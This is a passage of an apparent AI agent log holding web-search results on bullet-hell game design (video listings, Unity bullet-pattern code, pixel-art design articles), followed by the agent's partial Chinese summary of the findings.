av277610全弹幕\n\n小胖仔2号 · 08-02\n\n97670\n\n37:56\n\n### 独家首发!儿子双人合作《子弹和脑子》正式版 Bullets & Brains 手感不错的俯视角打僵尸的3D射击游戏。\n\nYGYL2 · 2025-11-09\n\n6.2万84\n\n03:28\n\n### 您管这叫弹幕游戏???爆裂魔女11-8地狱公爵但他林。\n\n九玖灬辉 · 2021-10-19\n\n1.3万30\n\n13:19\n\n### 《僵尸前线3D》圣诞版\n\n一往无前阿尔泰 · 2020-02-03\n\n00\n\n00:26\n\n### 超级无敌游戏:【蜜tun骑士】弹幕STG+中文动态+PC安卓双端 解压即玩 无需安装!!!\n\nbili\\_73306705539 · 1小时前\n\n13.8万1696\n\n12:14\n\n### 某UP作死打开号称B站最卡弹幕! - 緋色月下、狂咲ノ絶全弹幕装填无卡 [...] 13.8万1696\n\n12:14\n\n### 某UP作死打开号称B站最卡弹幕! - 緋色月下、狂咲ノ絶全弹幕装填无卡\n\nTheAtomicBomb · 2017-11-19\n\n86831\n\n03:00\n\n### 你玩过弹幕游戏么\n\n行业星球 · 2025-03-19\n\n1.3万65\n\n04:53:26\n\n### 经典飞行射击游戏 雷霆战机 XTOM 3D 精彩通关视频 (10P)\n\nAya00nami · 2020-06-17\n\n136.2万4958\n\n04:54\n\n### 音乐与弹幕同步 3.⑤\n\nAR-MOR · 2009-07-03\n\n42353\n\n19:09\n\n### 这或许是弹幕游戏里最凶残的攻击之一,不用修改器根本扛不住。黄昏的天使BOSS弹幕大全(重置永恒天使篇)\n\n抱歉走错了 · 2024-09-21\n\n8312\n\n32:50\n\n### 【搬运】Danmaku Unlimited 3 - Graze-Mode True 1cc Type-EA 56,832,633,635 by PAZZY\n\nloveyy\\_sor · 2017-04-01\n\n14830\n\n24:18\n\n### 【IOS-STG】IOS平台绝版弹幕飞行射击APP - 风暴打击者(Storm Strikers)全流程演示\n\n社长库拉的小粉丝 · 2024-03-16\n\n2.0万11\n\n07:08\n\n### 面对弹幕地狱也毫不畏惧,steam上超酷的清版射击类游戏合集【PC/Steam游戏推荐】\n\n六味蛋黄丸 · 2023-08-19\n\n165.0万6375\n\n07:04\n\n### 【3D东方】永夜抄 - part 1\n\n伊吹小秋 · 2022-01-22\n\n6930\n\n09:04\n\n### 个人自制3d弹幕游戏\n\n清何旭 · 2024-09-11\n\n10.0万16\n\n51:52 [...] 167.9万3.1万\n\n28:23\n\n### 【东方3D】灵梦与幽幽子的弹幕游戏\n\n牛牛蝎羯 · 2014-01-18\n\n4.8万349\n\n25:35\n\n### 原作弹幕 vs 3d弹幕【古明地恋】\n\n阳光偷摸0 · 2019-04-28\n\n### 【AI 3D建模】打印总失败?Tripo AI智能拓扑避坑\n\nTripo 3D建模\n\n36.3万666\n\n04:17\n\n### 【3D东方】大東方展2023弹幕战\n\n伊吹小秋 · 2024-03-18\n\n13162\n\n28:01\n\n[### STG[弹幕无限3]∽ SPIRIT模式 True难度 真BOSS击破](//www.bilibili.com/video/BV1yb411w753/)\n\nG厄页U · 2018-11-04\n\n187.7万1.3万\n\n13:52\n\n### 【3D东方】Brambly Boundaries\n\n伊吹小秋 · 2019-04-27\n\n1.9万2\n\n03:01\n\n[### [东方对战型STG] 雷鼓与咲夜的弹幕对战](//www.bilibili.com/video/BV1Za411e7SM/)\n\n魔女的舞会 · 2022-04-13\n\n478652\n\n34:04\n\n### 弹幕无限3 graze模式ture难度 现记录2481E by.pazzy\n\n瓶装大蝴蝶 · 2017-04-09\n\n9.1万41\n\n00:51\n\n### 东方同人3d弹幕射击游戏《幻想讨幻经 | Touhou Machanical Scrollry》PV\n\n东游鉴 · 2020-02-20\n\n6.8万9\n\n10:12\n\n### 【B站最全3D版本】寄明月(可带3D眼镜观看)\n\n康康3D影视工作室 · 2020-08-21\n\n73.8万790\n\n12:39\n\n### VR 3D视频:星球大战般的战斗机飞行体验", "score": 0.5518883, "published_date": ""}, {"index": 8, "title": "弹幕射击游戏(STG)程序设计", "url": "https://farinacg.com/%E5%BC%B9%E5%B9%95%E5%B0%84%E5%87%BB%E6%B8%B8%E6%88%8F%EF%BC%88STG%EF%BC%89%E7%A8%8B%E5%BA%8F%E8%AE%BE%E8%AE%A1.html", "content": "{new\\_bullet.transform.rotation =Quaternion.AngleAxis(-Mathf.Atan(Mathf.Abs(new\\_bullet.transform.position.y - character.transform.position.y) /Mathf.Abs(new\\_bullet.transform.position.x - character.transform.position.x)) /Mathf.Deg2Rad+270,Vector3.forward);//弹幕射击character 的方向}else//第三象限(-,-){new\\_bullet.transform.rotation =Quaternion.AngleAxis(Mathf.Atan(Mathf.Abs(new\\_bullet.transform.position.y - character.transform.position.y) /Mathf.Abs(new\\_bullet.transform.position.x - character.transform.position.x)) /Mathf.Deg2Rad+270,Vector3.forward);}}\n\n2.圆形弹幕\n\n圆形弹幕是道中怪物常用的弹幕,即以怪物为中心一瞬间向周围固定方向发射一圈弹幕,弹幕虽然快但是因为并不是360全覆盖所以安定点有很多,不过如果一下出来一队的怪物全部发射圆形弹幕那就要另外寻找安定点的交集了。\n\n怪物开始射击。利用for循环进行子弹的实例化,并且在实例化的同时直接改变子弹在实例化出来的角度,这样子弹实例化一圈时其实他们的轴向就是固定好的一圈,就会直接向各自的方向移动实现圆形弹幕射击。\n\nfor(inti = 0; i < 360 / 10;i++ ){ [...] if(gameObject.tag ==\"skill3\\_bullet\\_down\")\n\n{gameObject.transform.Translate(Vector2.right \\Time.deltaTime \\ 0.5f);}\n\nif(gameObject.tag ==\"skill3\\_bullet\\_up\"){\n\ngameObject.transform.Translate(Vector2.left \\Time.deltaTime \\ 0.5f);}\n\nif(gameObject.tag ==\"skill3\\_bullet\\_left\"){\n\ngameObject.transform.Translate(Vector2.down \\Time.deltaTime \\ 0.5f);}\n\nif(gameObject.tag ==\"skill3\\_bullet\\_right\"){\n\ngameObject.transform.Translate(Vector2.up \\Time.deltaTime \\ 0.5f);}}\n\n \n\n通过以上的内容对STG大体有了了解,不过要想真的做出华丽的弹幕则需要设计者更加丰富的想象力,利用基础弹幕,螺旋弹幕,变速旋转弹幕,及其花型弹幕等进行更多的设计才能得到更加漂亮的弹幕,那时就能更深的感受到弹幕的魅力。\n\n太田顺也.The Grimoire of Marisa グリモワール オブ マリサ(1996-2009)[Z].日本:一迅社,2009.\n\n孙家广.计算机图形学[M].北京:清华大学出版社,1998.\n\n李春葆.C#程序设计教程(第2版)[M].北京:清华大学出版社,2013.\n\n王红梅,胡明,王涛编著.数据结构(C++版)[M].北京:清华大学出版社,2011.6. [...] }}}\n\nif(BOSS\\_come.skill3==true){\n\nif(gameObject.tag ==\"skill3\\_bullet\\_down\"|| gameObject.tag ==\"skill3\\_bullet\\_right\"|| gameObject.tag ==\"skill3\\_bullet\\_left\"|| gameObject.tag ==\"skill3\\_bullet\\_up\"){if(Time.time - test\\_time > 2.0f){transform.Rotate(Vector3.back \\Time.deltaTime \\ 45.0f);//最外圈半径transform.RotateAround(newVector2(circle\\_O.position.x, circle\\_O.position.y),Vector3.back,30\\Time.deltaTime);//转圈速度}}}\n\nif(gameObject.tag ==\"spiral\\_bullet\"&&enemy\\_bullet.skill01==false){\n\ngameObject.transform.Translate(Vector2.up \\Time.deltaTime \\ 0.5f);}\n\nif(gameObject.tag ==\"wp\\_bullet\"){gameObject.transform.Translate(Vector2.up \\Time.deltaTime \\ 0.25f);}\n\nif(BOSS\\_come.skill3==true)//技能三 花型弹幕{\n\nif(gameObject.tag ==\"skill3\\_bullet\\_down\")", "score": 0.55072874, "published_date": ""}, {"index": 9, "title": "《neko》復古風格2D 像素風格Roguelite 彈幕射擊遊戲【放視 ...", "url": "https://www.youtube.com/watch?v=PfUVYypi86E", "content": "《Neko》是一款由兩名學生製作的輕鬆向Roguelite 遊戲,玩家要謹慎選擇技能、搭配實機施放,並運用走位技巧才能找出致勝的關鍵。遊戲融合了輕鬆愉快的", "score": 0.5354634, "published_date": ""}, {"index": 10, "title": "r/Games 类型讨论- 弹幕游戏 - Reddit", "url": "https://www.reddit.com/r/Games/comments/2cyesw/rgames_genre_discussion_bullet_hell?tl=zh-hans", "content": "风格的射击游戏, 就像《宇宙巡航机》或者《雷电》这样的射击游戏,只不过弹幕的模式更复杂/密集。玩家的判定框通常也只有几个像素宽。", "score": 0.5180835, "published_date": ""}], "total_results": 10}}, "tool_call_id": "web_search_0", "name": "web_search"}, {"role": "tool", "content": "{\"success\": true, \"summary\": \"🔍 搜索查询: pixel art bullet hell game weapon enemy bullet pattern design reference\\n📅 搜索时间: 2026-08-23T12:29:05.455639\\n🎯 过滤条件: Topic: general\\n\\n📊 搜索结果:\\n\\n1. Best Pixel Art Bullet Hell Games – DEMAGAGA\\n 🔗 https://www.demagaga.com/2026/06/22/best-pixel-art-bullet-hell-games\\n 📄 Enter the Gungeon is one of the most celebrated pixel art bullet hell roguelikes of the modern era, blending classic twin stick shooting with fast paced dungeon crawling and relentless projectile chao...\\n\\n2. BULLET HELL SHMUP DESIGN 101 | Bullet Patterns : r/shmupdev - Reddit\\n 🔗 https://www.reddit.com/r/shmupdev/comments/13w730k/bullet_hell_shmup_design_101_bullet_patterns\\n 📄 Enemy bullets should always be drawn on top of other game objects such as player sprites, projectiles, items and explosions. Use bullet size and\\n\\n3. Top free game assets tagged Bullet Hell and Pixel Art - itch.io\\n 🔗 https://itch.io/game-assets/free/tag-bullet-hell/tag-pixel-art\\n 📄 Low-poly 3d Bullet Kin sketch. Made with picoCAD for picoCAD Jam #7: Weapon\\n\\n4. Bullet Hell Shooter - Shooter Template | Summer Engine\\n 🔗 https://www.summerengine.com/templates/shooter/bullet-hell/bullet-hell\\n 📄 Bullet Hell Shooter\\n\\n## About this template\\n\\nBullet hell is a genre built on an impossible-looking screen that turns out to have a path through it. Dense projectile patterns fired in mathematical arra...\\n\\n5. A Summary of 15 Beautiful Bullet Hell Patterns in Danmaku Shooters|npaka\\n 🔗 https://note.com/npaka/n/n5d38b7d84173?hl=en\\n 📄 In this article, I will classify representative bullet patterns frequently used in bullet hell shooters from the perspectives of visual aesthetics and game design.\\n\\n## 2. 15 Selected Beautiful Bullet ...\\n\\n6. Top game assets tagged Bullet Hell and Pixel Art - itch.io\\n 🔗 https://itch.io/game-assets/tag-bullet-hell/tag-pixel-art\\n 📄 Explore game assets tagged Bullet Hell and Pixel Art on itch.io · Upload your game assets to itch.io to have them show up here. Subscribe for game recommendations, clips, and more ... This is a top do...\\n\\n7. Medium\\n 🔗 https://tedlim-65557.medium.com/day-49-bullet-hell-pattern-2d-space-shooter-series-c91e4eccad7c\\n 📄 Sign up\\n\\nSign in\\n\\nSign up\\n\\nSign in\\n\\nUnknown user\\nTed Lim\\n\\n## Ted Lim\\n\\n# Day 49 | Bullet Hell Pattern: 2D Space Shooter Series\\n\\nTed Lim\\n\\n--\\n\\nListen\\n\\nShare\\n\\nAfter implementing our Object Pooler, we’re n...\\n\\n8. Bullet Hell - Week 25 - Boss Design\\n 🔗 https://www.youtube.com/watch?v=zEPgFaIpa6o\\n 📄 # Bullet Hell - Week 25 - Boss Design\\n## DragoniteSpam\\n12500 subscribers\\n17 likes\\n\\n### Description\\n718 views\\nPosted: 24 Aug 2022\\nHere are the basic bullet patterns of boss enemies! They'll get a lot m...\\n\\n9. Top game assets tagged Bullet Hell - itch.io\\n 🔗 https://itch.io/game-assets/tag-bullet-hell\\n 📄 16Bit Bullets, Explosions & Misc Asset Pack - Pixel Art // Shooter/Shmup // Classic & Bullet Hell Style · Free Player Bullets!! Paid pack includes Player Ship plus explosions ... PNG | HIGH QUALITY! ....\\n\\n10. Pixel art blog — SLYNYRD\\n 🔗 https://www.slynyrd.com/blog\\n 📄 If the game is a bullet-hell with high bullet density, the player hit box should be very small. If bullet density is low, the player hit box can be made a bit larger, and enemy bullet speeds can be qu...\", \"query\": \"pixel art bullet hell game weapon enemy bullet pattern design reference\", \"filters\": {\"topic\": \"general\"}, \"total_results\": 10, \"results\": [{\"index\": 1, \"title\": \"Best Pixel Art Bullet Hell Games – DEMAGAGA\", \"url\": \"https://www.demagaga.com/2026/06/22/best-pixel-art-bullet-hell-games\"}, {\"index\": 2, \"title\": \"BULLET HELL SHMUP DESIGN 101 | Bullet Patterns : r/shmupdev - Reddit\", \"url\": \"https://www.reddit.com/r/shmupdev/comments/13w730k/bullet_hell_shmup_design_101_bullet_patterns\"}, {\"index\": 3, \"title\": \"Top free game assets tagged Bullet Hell and Pixel Art - itch.io\", \"url\": \"https://itch.io/game-assets/free/tag-bullet-hell/tag-pixel-art\"}, {\"index\": 4, \"title\": \"Bullet Hell Shooter - Shooter Template | Summer Engine\", \"url\": \"https://www.summerengine.com/templates/shooter/bullet-hell/bullet-hell\"}, {\"index\": 5, \"title\": \"A Summary of 15 Beautiful Bullet Hell Patterns in Danmaku Shooters|npaka\", \"url\": \"https://note.com/npaka/n/n5d38b7d84173?hl=en\"}, {\"index\": 6, \"title\": \"Top game assets tagged Bullet Hell and Pixel Art - itch.io\", \"url\": \"https://itch.io/game-assets/tag-bullet-hell/tag-pixel-art\"}, {\"index\": 7, \"title\": \"Medium\", \"url\": \"https://tedlim-65557.medium.com/day-49-bullet-hell-pattern-2d-space-shooter-series-c91e4eccad7c\"}, {\"index\": 8, \"title\": \"Bullet Hell - Week 25 - Boss Design\", \"url\": \"https://www.youtube.com/watch?v=zEPgFaIpa6o\"}, {\"index\": 9, \"title\": \"Top game assets tagged Bullet Hell - itch.io\", \"url\": \"https://itch.io/game-assets/tag-bullet-hell\"}, {\"index\": 10, \"title\": \"Pixel art blog — SLYNYRD\", \"url\": \"https://www.slynyrd.com/blog\"}]}", "timestamp": "2026-08-23T12:29:05.493559", "message_id": "msg_ece33067b27845f8b2f95e149d2e1b81", "metadata": {"tool_payload": {"success": true, "summary": "🔍 搜索查询: pixel art bullet hell game weapon enemy bullet pattern design reference\n📅 搜索时间: 2026-08-23T12:29:05.455639\n🎯 过滤条件: Topic: general\n\n📊 搜索结果:\n\n1. Best Pixel Art Bullet Hell Games – DEMAGAGA\n 🔗 https://www.demagaga.com/2026/06/22/best-pixel-art-bullet-hell-games\n 📄 Enter the Gungeon is one of the most celebrated pixel art bullet hell roguelikes of the modern era, blending classic twin stick shooting with fast paced dungeon crawling and relentless projectile chao...\n\n2. BULLET HELL SHMUP DESIGN 101 | Bullet Patterns : r/shmupdev - Reddit\n 🔗 https://www.reddit.com/r/shmupdev/comments/13w730k/bullet_hell_shmup_design_101_bullet_patterns\n 📄 Enemy bullets should always be drawn on top of other game objects such as player sprites, projectiles, items and explosions. Use bullet size and\n\n3. Top free game assets tagged Bullet Hell and Pixel Art - itch.io\n 🔗 https://itch.io/game-assets/free/tag-bullet-hell/tag-pixel-art\n 📄 Low-poly 3d Bullet Kin sketch. Made with picoCAD for picoCAD Jam #7: Weapon\n\n4. Bullet Hell Shooter - Shooter Template | Summer Engine\n 🔗 https://www.summerengine.com/templates/shooter/bullet-hell/bullet-hell\n 📄 Bullet Hell Shooter\n\n## About this template\n\nBullet hell is a genre built on an impossible-looking screen that turns out to have a path through it. Dense projectile patterns fired in mathematical arra...\n\n5. A Summary of 15 Beautiful Bullet Hell Patterns in Danmaku Shooters|npaka\n 🔗 https://note.com/npaka/n/n5d38b7d84173?hl=en\n 📄 In this article, I will classify representative bullet patterns frequently used in bullet hell shooters from the perspectives of visual aesthetics and game design.\n\n## 2. 15 Selected Beautiful Bullet ...\n\n6. Top game assets tagged Bullet Hell and Pixel Art - itch.io\n 🔗 https://itch.io/game-assets/tag-bullet-hell/tag-pixel-art\n 📄 Explore game assets tagged Bullet Hell and Pixel Art on itch.io · Upload your game assets to itch.io to have them show up here. Subscribe for game recommendations, clips, and more ... This is a top do...\n\n7. Medium\n 🔗 https://tedlim-65557.medium.com/day-49-bullet-hell-pattern-2d-space-shooter-series-c91e4eccad7c\n 📄 Sign up\n\nSign in\n\nSign up\n\nSign in\n\nUnknown user\nTed Lim\n\n## Ted Lim\n\n# Day 49 | Bullet Hell Pattern: 2D Space Shooter Series\n\nTed Lim\n\n--\n\nListen\n\nShare\n\nAfter implementing our Object Pooler, we’re n...\n\n8. Bullet Hell - Week 25 - Boss Design\n 🔗 https://www.youtube.com/watch?v=zEPgFaIpa6o\n 📄 # Bullet Hell - Week 25 - Boss Design\n## DragoniteSpam\n12500 subscribers\n17 likes\n\n### Description\n718 views\nPosted: 24 Aug 2022\nHere are the basic bullet patterns of boss enemies! They'll get a lot m...\n\n9. Top game assets tagged Bullet Hell - itch.io\n 🔗 https://itch.io/game-assets/tag-bullet-hell\n 📄 16Bit Bullets, Explosions & Misc Asset Pack - Pixel Art // Shooter/Shmup // Classic & Bullet Hell Style · Free Player Bullets!! Paid pack includes Player Ship plus explosions ... PNG | HIGH QUALITY! ....\n\n10. Pixel art blog — SLYNYRD\n 🔗 https://www.slynyrd.com/blog\n 📄 If the game is a bullet-hell with high bullet density, the player hit box should be very small. If bullet density is low, the player hit box can be made a bit larger, and enemy bullet speeds can be qu...", "filters": {"topic": "general"}, "query": "pixel art bullet hell game weapon enemy bullet pattern design reference", "results": [{"index": 1, "title": "Best Pixel Art Bullet Hell Games – DEMAGAGA", "url": "https://www.demagaga.com/2026/06/22/best-pixel-art-bullet-hell-games", "content": "Enter the Gungeon is one of the most celebrated pixel art bullet hell roguelikes of the modern era, blending classic twin stick shooting with fast paced dungeon crawling and relentless projectile chaos. Developed by Dodge Roll, the game drops players into the depths of a gun themed fortress where nearly every enemy, boss, and environmental hazard unleashes elaborate bullet patterns that demand precision movement and quick reflexes. What sets Enter the Gungeon apart from traditional bullet hell games is its massive arsenal of hundreds of guns, items, and synergies that transform each run into a new experiment in destruction. The pixel art style is crisp and expressive, filled with clever weapon references and humorous visual design. Combined with tight controls, procedural level [...] ZeroRanger is a love letter to the golden age of arcade shooters, combining pixel art visuals with masterfully designed bullet hell gameplay. Developed by System Erasure, the game follows two pilots battling a mysterious alien force while navigating intricate projectile patterns and massive boss fights. The pixel art presentation is stunning, with detailed ships, vibrant explosions, and imaginative enemy designs that evoke classic arcade aesthetics. What truly sets ZeroRanger apart is its narrative structure and surprising gameplay twists that unfold as players progress. The game rewards persistence and skill mastery, encouraging players to learn enemy patterns and refine their movement through repeated attempts. With its polished mechanics, memorable soundtrack, and clever storytelling, [...] Devil Daggers is a minimalist horror shooter that transforms bullet hell gameplay into a relentless survival challenge. Players stand in a small arena while demonic enemies spawn endlessly, filling the air with projectiles and deadly hazards. Armed with magical daggers, players must eliminate enemies quickly while weaving through increasingly dense bullet patterns. The pixel inspired aesthetic uses retro textures and low resolution visuals that evoke the early days of 3D shooters while maintaining a surreal atmosphere. Every second survived increases the difficulty as new enemy types appear with more complex attack patterns. The game’s scoring system encourages players to push for longer survival times while mastering movement and precision shooting. Devil Daggers’ hypnotic intensity and", "score": 0.86080295, "published_date": ""}, {"index": 2, "title": "BULLET HELL SHMUP DESIGN 101 | Bullet Patterns : r/shmupdev - Reddit", "url": "https://www.reddit.com/r/shmupdev/comments/13w730k/bullet_hell_shmup_design_101_bullet_patterns", "content": "Enemy bullets should always be drawn on top of other game objects such as player sprites, projectiles, items and explosions. Use bullet size and", "score": 0.7724109, "published_date": ""}, {"index": 3, "title": "Top free game assets tagged Bullet Hell and Pixel Art - itch.io", "url": "https://itch.io/game-assets/free/tag-bullet-hell/tag-pixel-art", "content": "Low-poly 3d Bullet Kin sketch. Made with picoCAD for picoCAD Jam #7: Weapon", "score": 0.6944897, "published_date": ""}, {"index": 4, "title": "Bullet Hell Shooter - Shooter Template | Summer Engine", "url": "https://www.summerengine.com/templates/shooter/bullet-hell/bullet-hell", "content": "Bullet Hell Shooter\n\n## About this template\n\nBullet hell is a genre built on an impossible-looking screen that turns out to have a path through it. Dense projectile patterns fired in mathematical arrangements create a puzzle that moves toward the player. The hitbox is tiny. The patterns are learnable. The skill is in recognizing patterns faster and moving with more precision each time you play.\n\nBuild the shmup you want by describing your enemy patterns, your ship weapon system, and your boss fight designs. Summer Engine builds the projectile spawner, the hitbox system, and the pattern sequencer. You focus on designing the moments of visual beauty and mechanical terror that make bullet hell unforgettable. [...] ## Highlights\n\n ### Boss Rush\n\n Build a game that is entirely boss fights. Each boss has distinct phases with escalating pattern complexity. No filler stages between memorable encounters.\n ### Vertical Scrolling Shmup\n\n Build a classic vertical scroller with stage enemies, mid-bosses, and a climactic final boss. Each stage introduces a new enemy type and pattern vocabulary.\n ### Roguelite Bullet Hell\n\n Layer random power-up selection between rooms on top of the core bullet hell gameplay. Each run creates a different weapon build that changes how players approach patterns.\n\n## Related Templates\n\nView All\n\nTwin-Stick Shooter\n\n### Twin-Stick Shooter [...] The best bullet hell games are works of authored craft. Every bullet in a boss pattern has a place. Every gap is designed to require exactly the right movement. When players survive a pattern they could not read last time, it is one of the most satisfying feelings in games. This is the game you are here to create.\n\n## Who it's for\n\n Solo devs who love the genre and want to create their own take on classic vertical or horizontal scrolling shmups.\n Designers with specific boss fight pattern ideas who need a working projectile system to test them in.\n Teams building a game for shmup fans who want something that rewards pattern mastery and repeated play.\n Anyone making a game where visual spectacle and precise movement combine into a singular experience.\n\n## Highlights\n\n ### Boss Rush", "score": 0.6241337, "published_date": ""}, {"index": 5, "title": "A Summary of 15 Beautiful Bullet Hell Patterns in Danmaku Shooters|npaka", "url": "https://note.com/npaka/n/n5d38b7d84173?hl=en", "content": "In this article, I will classify representative bullet patterns frequently used in bullet hell shooters from the perspectives of visual aesthetics and game design.\n\n## 2. 15 Selected Beautiful Bullet Patterns\n\n### 2-1. Radial\n\nThis is the most basic bullet pattern, spreading in all directions from a center point. By firing bullets evenly in 360 degrees around an enemy, it creates a look similar to fireworks or ripples. Radial systems have a clear structure and are easy to handle as a foundation for bullet patterns. By slightly shifting the angle with each consecutive shot, even simple omnidirectional bullets can gain a sense of movement.\n\n・Suitable Uses [...] ## 4. Basic parameters for implementation\n\nBullet patterns can generally be created by combining the following parameters.\n\n> ・Firing position: Enemy center, screen edge, multiple turrets, etc. ・Firing angle: Fixed, rotating, toward the player, random ・Bullet count: Determines density ・Firing interval: Determines rhythm ・Bullet speed: Determines difficulty and impression ・Acceleration: Creates pacing and curves ・Angular velocity: Creates spirals and curving bullets ・Lifespan: Timing for when bullets disappear ・Split condition: Time, distance, position, etc. ・Color/Size: Determines visibility and beauty\n\nAmong these, the ones that are easiest to see the effect of when first trying them out are firing angle, bullet count, bullet speed, and firing interval.\n\n## 5. Easy-to-use combinations [...] ### 2-6. Grids\n\nBullet patterns where bullets are arranged in a regular grid.\n\nAligning them vertically and horizontally makes for a very readable bullet pattern. Shifting them diagonally creates a diamond or crystal-like appearance, resulting in puzzle-like evasion.\n\n・Features\n\n> ・Strong regularity \n> ・Gaps are easy to read \n> ・Increasing density tends to make it harder \n> ・Produces geometric beauty\n\nWhile grid-type patterns are less likely to feel unfair, they can also easily become monotonous. Adding speed differences, screen scrolling, or partial gaps can give them more character.\n\n### 2-7. Floral Patterns\n\nBullet patterns where bullets are arranged symmetrically to create petal-like designs.", "score": 0.62303346, "published_date": ""}, {"index": 6, "title": "Top game assets tagged Bullet Hell and Pixel Art - itch.io", "url": "https://itch.io/game-assets/tag-bullet-hell/tag-pixel-art", "content": "Explore game assets tagged Bullet Hell and Pixel Art on itch.io · Upload your game assets to itch.io to have them show up here. Subscribe for game recommendations, clips, and more ... This is a top down pixel art asset pack, containing different floor tiles, wall tiles, decorations, objects and chests ... Pixel-art Top-down pack. Great for Bullethell-shooters! ... This weapon bundle contains 100+ unique weapons in 4 different colours.", "score": 0.5760895, "published_date": ""}, {"index": 7, "title": "Medium", "url": "https://tedlim-65557.medium.com/day-49-bullet-hell-pattern-2d-space-shooter-series-c91e4eccad7c", "content": "Sign up\n\nSign in\n\nSign up\n\nSign in\n\nUnknown user\nTed Lim\n\n## Ted Lim\n\n# Day 49 | Bullet Hell Pattern: 2D Space Shooter Series\n\nTed Lim\n\n--\n\nListen\n\nShare\n\nAfter implementing our Object Pooler, we’re now going to put together the enemy’s shooting pattern.\n\n## The Fan\n\nTo make this pattern, we’ll cover a bit of math. If we look closely at the pattern’s origin point, we can see it starts as a small semi-circle. This means we’re looking for a kind of formula to place objects in a semi-circle.\n\nWe’ll use Sin() and Cos() to create the semi-circle shape. Assume 10 bullets make up the semi-circle, and we want to create the rightmost bullet first. We can imagine a unit circle like this: [...] The bottom half of the unit circle can represent our semi-circle pattern. We want to create the bullet at coordinate (1,0) first. This will happen at a 0-degree angle. To make X coordinate 1 and the Y coordinate 0 at that angle, we must give the X component the Cos() function and the Y component the Sin() function since Cos(0) is 1 and Sin(0) is 0. Additionally, we will have to convert the degrees to radians (PI/180).\n\nThis will be how we place each bullet. Next, we determine the direction of the bullet and normalize the direction vector. [...] Now that we have the placement and direction, we can use the Object Pooler to create the bullet and set its direction as described in my previous article. Then, depending on how many bullets we want to put into our semi-circle, we increase the angle by some interval and set another bullet’s position and direction until our semi-circle is complete. We then use a Coroutine to space out the interval at which the semi-circle pattern is fired.\n\n## Other Shooting Pattern Methods\n\nThis is 1 way to create a shooting pattern for a boss. There are less math-intensive ways of creating cool patterns too. For example, you could create an empty game object, spread out 3 child objects from which bullets spawn, and then slowly rotate the parent object to create a spiral pattern of bullets.", "score": 0.56258565, "published_date": ""}, {"index": 8, "title": "Bullet Hell - Week 25 - Boss Design", "url": "https://www.youtube.com/watch?v=zEPgFaIpa6o", "content": "# Bullet Hell - Week 25 - Boss Design\n## DragoniteSpam\n12500 subscribers\n17 likes\n\n### Description\n718 views\nPosted: 24 Aug 2022\nHere are the basic bullet patterns of boss enemies! They'll get a lot more polish later.\n\nRepository:\n\nEach week is a \"release.\"\n\nBullet Hell playlist:\n\nGameMaker 3D playlist:\n\nGameMaker Studio 2 playlist:\n\n#GameMaker\n#GameMakerBulletHell\n#gamedev\n- - - - -\nI've now made that Patreon:\n\nThat promised social media link spam.\n\nTransition / idle music is by my old friend Kamex:\n\nRate, comment, subscribe, watch more, enjoy! [...] and spawn more bullets as they go and i feel like for that i would want a separate video because that might take a little while um so i think i will just leave a comment for future me uh that is not a pattern that exists elsewhere in the game and i will have to uh i have to do some player testing to figure out like if that would feel like the boss is cheating because they're using a bullet type that we haven't seen so far or i could just implement that bullet type on enemies earlier in the game so that the player has a has time to get used to it or something like that but i will leave a comment for that there in fact you know what um i put that down in like stage three and stage four can be uh hmm what other options are available to me we have templates for uh bullets that chase you uh [...] to have like homing bullets going after you like in a swarm but um maybe we'll maybe we'll save that for like stage three um or the last stage because that'll probably be harder uh spirals are nice like spirals are um visually appealing i guess if you wanted to like extend the fan shape we could actually just do a spiral um instead of doing uh like the radial pattern rather so shot counts as 24 because instead of 120 degrees we're dealing with 360 degrees i goes from zero to 360 i plus equals uh 360 divided by shot count instead of this expression um and then we'll see how that feels that should be i feel like that should be appropriate increment appropriately incrementally harder but at the same time um it could just feel like you're rat setting up the damage numbers um which isn't", "score": 0.5524679, "published_date": ""}, {"index": 9, "title": "Top game assets tagged Bullet Hell - itch.io", "url": "https://itch.io/game-assets/tag-bullet-hell", "content": "16Bit Bullets, Explosions & Misc Asset Pack - Pixel Art // Shooter/Shmup // Classic & Bullet Hell Style · Free Player Bullets!! Paid pack includes Player Ship plus explosions ... PNG | HIGH QUALITY! ... Pixel-art Top-down pack. Great for Bullethell-shooters! ... FoX71's shot sheet for all purposes! a projectile sprite sheet that you can use if you want ... This is a top down pixel art asset pack, containing different floor tiles, wall tiles, decorations, objects and chests ... This weapon bundle contains 37 high quality weapons.", "score": 0.5455042, "published_date": ""}, {"index": 10, "title": "Pixel art blog — SLYNYRD", "url": "https://www.slynyrd.com/blog", "content": "If the game is a bullet-hell with high bullet density, the player hit box should be very small. If bullet density is low, the player hit box can be made a bit larger, and enemy bullet speeds can be quite fast to maintain a good challenge. Whatever the gameplay style, I would avoid making the player hit box so large it extends beyond the actual pixels of the sprite. That just never feels like a fair challenge. \n \nNote the difference between the player damage, and collection hit boxes. If the game has physical pickups, you want these to be easy to make contact with, so a separate, much larger hit box is used for this. [...] Defining the collision bounds is a crucial aspect to any game with real-time action based gameplay, which can make or break the entire feel of the game if not balanced carefully. In shmups, the particular style of gameplay should influence the balancing of hit boxes. Generally, the hit box for the player is a small circle placed center mass of the sprite, which should always stay in the same place throughout all animation frames. Player bullets, and enemy sprites have generous bounds to ensure your aim always feels solid, and fair. Enemy bullets have small circle hit boxes in the center of the mass. Combined with the small player hitbox this provides a buffer for very tight smooth dodging through dense bullets patterns, and that’s where the fun is at. [...] ## Options\n\nAnother element that is often integral to the player ship in shmups is options. These come in the form of smaller crafts, pods, creatures, etc, which hover around your ship and offer extra fire, or in some cases, defensive tech.\n\nGameplay mechanics aside, options also add visual distinction, and screen presence. Usually your eyes are focused on reading incoming bullet paths, and you only briefly look directly at your ship for intense micro-dodging. I think it’s under appreciated how much screen presence helps you feel your ship position while reading patterns. Besides the sprite itself, options, and your outgoing attacks heavily contribute to screen presence.\n\n## Enemy Units", "score": 0.5383771, "published_date": ""}], "total_results": 10}}, "tool_call_id": "web_search_1", "name": "web_search"}, {"role": "assistant", "reasoning_content": "浅层搜索已经获得了一些有价值的信息。让我分析一下关键发现:\n\n1. 经典弹幕射击游戏:\n - 怒首领蜂(DoDonPachi)- 弹幕射击的鼻祖\n - Enter the Gungeon - 像素风格弹幕射击Roguelike\n - Cryptark - 太空题材横版射击\n - 东方Project系列 - 最著名的弹幕射击系列之一\n\n2. 设计参考资源:\n - Reddit r/shmupdev 的弹幕设计101\n - npaka的文章:15种美丽弹幕模式总结\n - itch.io上有大量免费/付费的像素弹幕资源\n - SLYNYRD的像素艺术博客\n\n3. 关键设计要点:\n - 敌方子弹应该始终绘制在其他游戏对象之上\n - 子弹大小和颜色设计很重要\n - 